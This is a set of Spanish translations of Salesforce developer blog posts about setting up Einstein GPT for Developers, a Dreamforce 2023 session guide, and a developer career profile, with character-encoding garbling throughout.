Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que est茅 disponible en Open Beta para Dreamforce 2023. Una vez que su organizaci贸n est茅 habilitada para esta herramienta, puede instalar la extensi贸n Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT tambi茅n estar谩 disponible en Code Builder , nuestro IDE basado en web, que se espera que est茅 disponible de forma general en octubre. 隆Est茅n atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el men煤 y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organizaci贸n para conectarse a una organizaci贸n sandbox o a una organizaci贸n borrador de Salesforce. Podr谩 utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si est谩 utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la funci贸n adicional de organizaci贸n borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la funci贸n EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar c贸digo Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar c贸digo con Einstein GPT (ver captura de pantalla a continuaci贸n) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuaci贸n se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llam茅moslo OpportunityQuerySelector. Cree un m茅todo llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta espec铆fico. El m茅todo debe aceptar accountId como par谩metro. Siga las mejores pr谩cticas de seguridad y aseg煤rese de que el c贸digo se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuaci贸n.

Si bien el c贸digo generado anteriormente no requiri贸 muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT seg煤n sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. 隆Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Reci茅n estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere c贸digo LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalizaci贸n predictiva de c贸digo en l铆nea: complete autom谩ticamente la siguiente l铆nea de c贸digo sugerida con metadatos contextuales del proyecto.
  • Verificaci贸n del rendimiento del c贸digo: escanee el c贸digo Apex y corrija errores de tiempo de ejecuci贸n durante el proceso de desarrollo
  • Asistencia conversacional: P铆dale a Einstein que genere c贸digo contextual y documentaci贸n, explique el c贸digo o resuelva problemas complejos.

Conclusi贸n

A medida que Einstein GPT para desarrolladores ampl铆e sus capacidades para admitir LWC, proporcionar finalizaci贸n de c贸digo inteligente y brindar asistencia conversacional, podr谩 desarrollar la plataforma Salesforce m谩s r谩pido que nunca. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. 隆脷nase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de LinkedIn .

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La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

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La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
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Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
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Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
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Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
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驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
A帽ade esta sesi贸n a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

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Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente | Blog de desarrolladores de Salesforce

Si la desarrolladora de Salesforce, Farah Sherif , pudiera comenzar su carrera nuevamente, comenzar铆a a aprender Salesforce antes. No esperaba dedicarse a la codificaci贸n para ganarse la vida, pero pronto descubri贸 que era la carrera adecuada para ella. 鈥淪ol铆a pensar que la codificaci贸n era realmente complicada鈥, dice Farah, 鈥減ero Salesforce y Trailhead lo hicieron f谩cil. Adem谩s, con suficiente dedicaci贸n, puedes aprender cualquier cosa en Salesforce鈥.

Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquier persona puede aprender las habilidades m谩s demandadas y relevantes de la actualidad de forma gratuita, obtener credenciales dignas de curr铆culum y conectarse con oportunidades globales. Hoy, m谩s de 18 millones de Trailblazers est谩n aprendiendo, creando redes y desarrollando sus habilidades para construir carreras exitosas.

Sol铆a pensar que la codificaci贸n era realmente complicada, pero Salesforce y Trailhead lo hicieron f谩cil.

Farah conoci贸 Salesforce gracias a su primo, que es miembro del Sal贸n de la fama de MVP de Salesforce , all谩 por 2018. 脡l le envi贸 un par de m贸dulos en la plataforma de aprendizaje de Trailhead, incluida la ruta Admin Beginner , y ella se enganch贸 de inmediato.

En la actualidad, la carrera de Farah es pr贸spera y actualmente es desarrolladora s茅nior de Salesforce para Oloop Technology Solutions , una firma de consultor铆a de tecnolog铆a empresarial con sede en Aurora, IL. Ella tambi茅n se ha convertido en MVP de Salesforce.

Pasi贸n por aprender y desarrollar habilidades en Trailhead

Trailhead ha sido el entorno de aprendizaje de Farah desde el primer d铆a, y desde entonces ha superado cientos de unidades y m贸dulos. Hasta la fecha, Farah ha completado 34 senderos y ganado la friolera de 365 insignias y 11 superbags, lo que la ha llevado al nivel Triple Star Ranger .

Farah tambi茅n ha mejorado su curr铆culum al lograr 15 certificaciones de impulso profesional de Salesforce , y recomienda este enfoque a otros desarrolladores que buscan avanzar en su carrera. Ella dice: "Aunque no tenga experiencia en un tema, si estudia lo suficiente y aborda la certificaci贸n, le da la oportunidad de ser parte de un proyecto que utiliza los productos que aprendi贸 en su certificaci贸n".

A pesar de todos sus logros, Farah contin煤a usando Trailhead como su fuente principal para aprender nuevas habilidades. 鈥淎unque hay varios recursos disponibles鈥, dice, 鈥減rimero empiezo con Trailhead y luego reviso otros recursos. Al prepararme para las certificaciones, las preguntas de pr谩ctica han sido realmente 煤tiles鈥.

Aunque hay varios recursos disponibles, primero empiezo con Trailhead.

Encontrando inspiraci贸n en la Galer铆a de muestra de c贸digo

Para los desarrolladores que desean explorar ejemplos de trabajo, Farah sugiere consultar Code Sample Gallery , que ella considera "una joya oculta subestimada". Contiene ejemplos de c贸digo escritos por el equipo de defensa de desarrolladores de Salesforce que muestran una variedad de caracter铆sticas de la plataforma de Salesforce, como componentes web Lightning, Apex y flujos, as铆 como casos de uso como la transformaci贸n de p谩ginas de Visualforce en componentes web Lightning. Farah dice: "Es la mejor manera de aprender, ya que el c贸digo est谩 escrito por expertos de Salesforce y hay toneladas de ejemplos sobre c贸mo hacer todo".

La comunicaci贸n es una habilidad valiosa para los desarrolladores.

Junto con las habilidades t茅cnicas, Farah ha aprendido que la buena comunicaci贸n es vital para el 茅xito del desarrollador. A medida que avanzaba en su carrera, Farah lleg贸 a creer que los desarrolladores no se sientan detr谩s de una computadora y programan todo el d铆a. Los desarrolladores deben poder comunicarse bien con los dem谩s para realizar su trabajo o mostrar su soluci贸n. Ya sea que se trate de reportar bloqueadores a un gerente de producto, discutir una soluci贸n alternativa o incluso explicar un enfoque t茅cnico a un cliente, es importante que los desarrolladores puedan expresarse claramente.

鈥淣o lo aprend铆 en un d铆a鈥, dice Farah, 鈥減ero he recorrido un largo camino desde la primera vez que habl茅 con un cliente. Las habilidades de comunicaci贸n tambi茅n ayudan cuando escuchas conversaciones porque entonces est谩s aprendiendo c贸mo tratar con las personas y c贸mo manejar a los clientes鈥. (Consejo: consulte elm贸dulo Narraci贸n y comunicaci贸n en Trailhead para mejorar sus habilidades).

驴Qu茅 tiene de bueno ser un desarrollador de Salesforce?

Una de las razones por las que a Farah le encanta ser desarrolladora de Salesforce es la experiencia de desarrollo en s铆 misma. Le gusta construir algo desde cero que pueda ayudar a las personas a ahorrar tiempo o facilitarles la vida. Tambi茅n se emociona cuando puede trabajar en algo que antes la gente pensaba que no era posible y ayudar a darle vida. Ella dice: "Me encanta programar porque es desafiante y te obliga a pensar de manera estructurada para encontrar una soluci贸n a prueba de errores".

Buscar ayuda de expertos en la comunidad

La clave del 茅xito de Farah: hacer preguntas. Cuando se enfrenta a requisitos desconocidos, Farah dedica mucho tiempo a aprender e investigar para obtener informaci贸n sobre un tema nuevo, lo que beneficia a toda su organizaci贸n. 鈥淐uando paso tiempo aprendiendo un nuevo producto o una nueva funci贸n de Salesforce, siempre es valioso para mi equipo, ya que puedo actuar como una fuente de conocimiento de ese tema m谩s adelante cuando tengamos que usarlo鈥.

Farah tambi茅n recurre a Salesforce Developers Trailblazer Community para buscar ayuda de expertos o seguir a l铆deres de opini贸n como David Liu y Salesforce Ben. Farah dice: "La Comunidad Trailblazer es mi espacio seguro, donde todos son incre铆blemente 煤tiles, y cuando s茅 que cuando contacte a alguien, realmente querr谩n ayudar". Sus grupos favoritos son Apex Hours y Ladies Be Architects .

El raro honor de una sudadera con capucha dorada

Farah complet贸 la universidad con un t铆tulo en Ciencias de la Computaci贸n y llevaba unos meses en su nuevo trabajo, esforz谩ndose por demostrar su val铆a como desarrolladora de Salesforce estudiando y obteniendo certificaciones. Pero fue solo cuando comenz贸 a involucrarse m谩s profundamente con la comunidad Trailblazer que sus perspectivas de carrera comenzaron a cambiar.

Despu茅s de pasar algunos meses aprendiendo sobre Trailhead鈥, recuerda Farah, 鈥淪olicit茅 dirigir el grupo comunitario local de Trailblazer en El Cairo, Egipto. Esas reuniones realmente me ayudaron a mejorar mis habilidades y, de hecho, consegu铆 mi primer trabajo como desarrollador de Salesforce asistiendo a ellas y conect谩ndome con la gente.

La dedicaci贸n de Farah al aprendizaje ya la comunidad no pas贸 desapercibida. En octubre de 2020, Salesforce le otorg贸 una rara sudadera con capucha dorada para celebrar su compromiso y su trayectoria como Trailblazer.

鈥淐uando recib铆 la sudadera con capucha dorada鈥, recuerda, 鈥渇ue un momento incre铆ble del que estar茅 orgullosa para siempre鈥. El premio se sinti贸 como una verificaci贸n de todos sus esfuerzos. Dos a帽os m谩s tarde, estaba en su primera conferencia de Salesforce y el significado de la sudadera con capucha finalmente hizo clic. 鈥淔ue entonces cuando realmente sent铆 lo especial que es tener la sudadera con capucha dorada. Es diferente cuando puedes usarlo en persona y ser reconocido por m谩s de 4000 personas鈥. Comparte m谩s de su perspectiva y experiencia, as铆 como un vistazo de su Golden Hoodie, en un episodio de Trailhead Live (a las 25:32).

Cuando recib铆 la sudadera con capucha dorada, fue un momento incre铆ble del que estar茅 orgulloso para siempre.

Consejos para nuevos desarrolladores de Salesforce: 隆No dejes de aprender!

Farah aconseja a los desarrolladores que son nuevos en el ecosistema de Salesforce que hagan preguntas y no dejen de aprender. Para mantenerse al d铆a con las 煤ltimas novedades, recomienda consultar las notas de la versi贸n de Salesforce que incluyen mejoras en la funcionalidad existente y nuevas herramientas. Tambi茅n sugiere involucrarse con su comunidad local de Salesforce , asistir a reuniones grupales y conferencias, donde tiene la oportunidad de establecer contactos y conocer a otros profesionales y regresar con nuevas ideas e inspiraci贸n.

Para Farah, el aprendizaje es un proceso continuo, algo que trata de recordar todos los d铆as. Ella dice: 鈥淣o dejas de aprender solo cuando tienes X n煤mero de certificaciones o cuando crees que has alcanzado un hito. Cuando mantienes el aprendizaje como un h谩bito, realmente vale la pena鈥.

Para conocer a desarrolladores como Farah y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, victorias e inspiraciones. Puede encontrar a Christie en Trailblazer Community en https://trailblazer.me/id/christiefidura . Christie, administradora comunitaria certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

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